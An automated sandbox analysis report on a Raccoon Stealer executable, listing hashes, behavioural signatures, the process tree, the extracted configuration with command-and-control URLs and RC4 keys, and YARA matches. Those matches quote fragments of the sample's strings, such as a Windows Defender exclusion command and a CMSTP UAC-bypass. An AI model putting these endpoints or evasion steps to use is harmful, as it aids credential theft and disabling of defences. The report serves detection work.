Edit tour

Windows Analysis Report
qpwx2wT5ky.exe

Overview

General Information

Sample Name:	qpwx2wT5ky.exe
Analysis ID:	562520
MD5:	c22c0fdbc19dcd4838709bbaca921f56
SHA1:	4cd9280315ce4ff97cdb95d7dd6d8fcb7715f292
SHA256:	d72ff8708ffeb9a95f559828938dc1439884e7c224579127418e285b1aa1d235
Tags:	exeRaccoonStealer
Infos:

Detection

Raccoon

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Yara detected Raccoon Stealer

Antivirus detection for URL or domain

Writes to foreign memory regions

.NET source code references suspicious native API functions

Contains functionality to hide user accounts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Contains functionality to steal Internet Explorer form passwords

Allocates memory in foreign processes

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

C2 URLs / IPs found in malware configuration

Moves itself to temp directory

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to record screenshots

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to read the PEB

Checks if the current process is being debugged

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

qpwx2wT5ky.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\qpwx2wT5ky.exe" MD5: C22C0FDBC19DCD4838709BBACA921F56)

LaunchWinApp.exe (PID: 5980 cmdline: C:\Windows\SysWOW64\LaunchWinApp.exe MD5: 529B7E6E938EA6C3BCA2821EB525BBD7)

WerFault.exe (PID: 5952 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 796 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Raccoon Stealer

{"RC4_key2": "5611095ee49218feb5b751c501370b8c", "C2 url": ["http://188.166.1.115/hdm3prapor", "http://91.219.236.139/hdm3prapor", "http://194.180.174.147/hdm3prapor", "http://185.3.95.153/hdm3prapor", "http://185.163.204.22/hdm3prapor", "https://t.me/hdm3prapor"], "Bot ID": "79e83b057f17f4dd954bc4809f7290094846fc1f", "RC4_key1": "jY1aN3zZ2j"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0xdadc4:$e1: Microsoft\Windows Defender\Exclusions\Paths 0xdae20:$e2: Add-MpPreference -ExclusionPath
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xdc3a3:$s1: c:\windows\system32\cmstp.exe 0xdc13f:$s2: taskkill /IM cmstp.exe /F 0xdbffb:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xdc231:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0xdab92:$r1: Classes\Folder\shell\open\command 0xdabd6:$k1: DelegateExecute 0xdaa92:$s1: /EXEFilename "{0} 0xdaab8:$s2: /WindowState "" 0xdc4a6:$s2: /WindowState "" 0xdaae2:$s3: /PriorityClass ""32"" /CommandLine " 0xdc4cc:$s3: /PriorityClass ""32"" /CommandLine " 0xdab2e:$s4: /StartDirectory " 0xdc518:$s4: /StartDirectory " 0xdab54:$s5: /RunAs 0xdc53e:$s5: /RunAs
00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0xdb0aa:$s1: This file can't run into Virtual Machines 0xdafa6:$s4: Run without emulation 0xdb180:$s5: Run using valid operating system 0xdae76:$v1: SbieDll.dll 0xdac11:$v2: USER 0xdb1c2:$v2: USER 0xdb1cc:$v3: SANDBOX 0xdb1dc:$v4: VIRUS 0xdb224:$v4: VIRUS 0xdb1e8:$v5: MALWARE 0xdb1f8:$v6: SCHMIDTI 0xdb20a:$v7: CURRENTUSER
00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000000.00000003.301603484.0000000005962000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: qpwx2wT5ky.exe PID: 6428	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: qpwx2wT5ky.exe PID: 6428	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: qpwx2wT5ky.exe PID: 6428	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: LaunchWinApp.exe PID: 5980	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x8ee04:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x8ee60:$e2: Add-MpPreference -ExclusionPath
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x903e3:$s1: c:\windows\system32\cmstp.exe 0x9017f:$s2: taskkill /IM cmstp.exe /F 0x9003b:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x90271:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x8ebd2:$r1: Classes\Folder\shell\open\command 0x8ec16:$k1: DelegateExecute 0x8ead2:$s1: /EXEFilename "{0} 0x8eaf8:$s2: /WindowState "" 0x904e6:$s2: /WindowState "" 0x8eb22:$s3: /PriorityClass ""32"" /CommandLine " 0x9050c:$s3: /PriorityClass ""32"" /CommandLine " 0x8eb6e:$s4: /StartDirectory " 0x90558:$s4: /StartDirectory " 0x8eb94:$s5: /RunAs 0x9057e:$s5: /RunAs
0.3.qpwx2wT5ky.exe.46615d0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x8f0ea:$s1: This file can't run into Virtual Machines 0x8efe6:$s4: Run without emulation 0x8f1c0:$s5: Run using valid operating system 0x8eeb6:$v1: SbieDll.dll 0x8ec51:$v2: USER 0x8f202:$v2: USER 0x8f20c:$v3: SANDBOX 0x8f21c:$v4: VIRUS 0x8f264:$v4: VIRUS 0x8f228:$v5: MALWARE 0x8f238:$v6: SCHMIDTI 0x8f24a:$v7: CURRENTUSER
2.2.LaunchWinApp.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.2.LaunchWinApp.exe.400000.0.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.6.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.6.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.0.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.7.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.7.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x8ee04:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x8ee60:$e2: Add-MpPreference -ExclusionPath
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x903e3:$s1: c:\windows\system32\cmstp.exe 0x9017f:$s2: taskkill /IM cmstp.exe /F 0x9003b:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x90271:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x8ebd2:$r1: Classes\Folder\shell\open\command 0x8ec16:$k1: DelegateExecute 0x8ead2:$s1: /EXEFilename "{0} 0x8eaf8:$s2: /WindowState "" 0x904e6:$s2: /WindowState "" 0x8eb22:$s3: /PriorityClass ""32"" /CommandLine " 0x9050c:$s3: /PriorityClass ""32"" /CommandLine " 0x8eb6e:$s4: /StartDirectory " 0x90558:$s4: /StartDirectory " 0x8eb94:$s5: /RunAs 0x9057e:$s5: /RunAs
0.2.qpwx2wT5ky.exe.31bbfc0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x8f0ea:$s1: This file can't run into Virtual Machines 0x8efe6:$s4: Run without emulation 0x8f1c0:$s5: Run using valid operating system 0x8eeb6:$v1: SbieDll.dll 0x8ec51:$v2: USER 0x8f202:$v2: USER 0x8f20c:$v3: SANDBOX 0x8f21c:$v4: VIRUS 0x8f264:$v4: VIRUS 0x8f228:$v5: MALWARE 0x8f238:$v6: SCHMIDTI 0x8f24a:$v7: CURRENTUSER
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0xdadc4:$e1: Microsoft\Windows Defender\Exclusions\Paths 0xdae20:$e2: Add-MpPreference -ExclusionPath
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xdc3a3:$s1: c:\windows\system32\cmstp.exe 0xdc13f:$s2: taskkill /IM cmstp.exe /F 0xdbffb:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xdc231:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0xdab92:$r1: Classes\Folder\shell\open\command 0xdabd6:$k1: DelegateExecute 0xdaa92:$s1: /EXEFilename "{0} 0xdaab8:$s2: /WindowState "" 0xdc4a6:$s2: /WindowState "" 0xdaae2:$s3: /PriorityClass ""32"" /CommandLine " 0xdc4cc:$s3: /PriorityClass ""32"" /CommandLine " 0xdab2e:$s4: /StartDirectory " 0xdc518:$s4: /StartDirectory " 0xdab54:$s5: /RunAs 0xdc53e:$s5: /RunAs
0.2.qpwx2wT5ky.exe.3170000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0xdb0aa:$s1: This file can't run into Virtual Machines 0xdafa6:$s4: Run without emulation 0xdb180:$s5: Run using valid operating system 0xdae76:$v1: SbieDll.dll 0xdac11:$v2: USER 0xdb1c2:$v2: USER 0xdb1cc:$v3: SANDBOX 0xdb1dc:$v4: VIRUS 0xdb224:$v4: VIRUS 0xdb1e8:$v5: MALWARE 0xdb1f8:$v6: SCHMIDTI 0xdb20a:$v7: CURRENTUSER
2.0.LaunchWinApp.exe.400000.8.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.8.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.3.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.3.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7ca7c:$s1: inetcomm server passwords 0x85544:$s4: CredEnumerateW 0x7c648:$s5: %[^:]://%[^/]%[^ 0x7c664:$s6: %99[^:]://%99[^/]%99[^ 0x79650:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7bd28:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7b6e8:$x2: \json.hpp 0x7c034:$x3: Microsoft_WinInet_ 0x7c144:$x3: Microsoft_WinInet_ 0x7c144:$x4: Microsoft_WinInet_*
2.2.LaunchWinApp.exe.400000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.2.LaunchWinApp.exe.400000.0.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.3.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.3.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.5.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.5.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.4.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
2.0.LaunchWinApp.exe.400000.4.raw.unpack	MALWARE_Win_Raccoon	Raccoon stealer payload	ditekSHen	0x7e47c:$s1: inetcomm server passwords 0x86f44:$s4: CredEnumerateW 0x7e048:$s5: %[^:]://%[^/]%[^ 0x7e064:$s6: %99[^:]://%99[^/]%99[^ 0x7b050:$s8: m_it.object_iterator != m_object->m_value.object->end() 0x7d728:$x1: endptr == token_buffer.data() + token_buffer.size() 0x7d0e8:$x2: \json.hpp 0x7da34:$x3: Microsoft_WinInet_ 0x7db44:$x3: Microsoft_WinInet_ 0x7db44:$x4: Microsoft_WinInet_*
2.0.LaunchWinApp.exe.400000.8.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
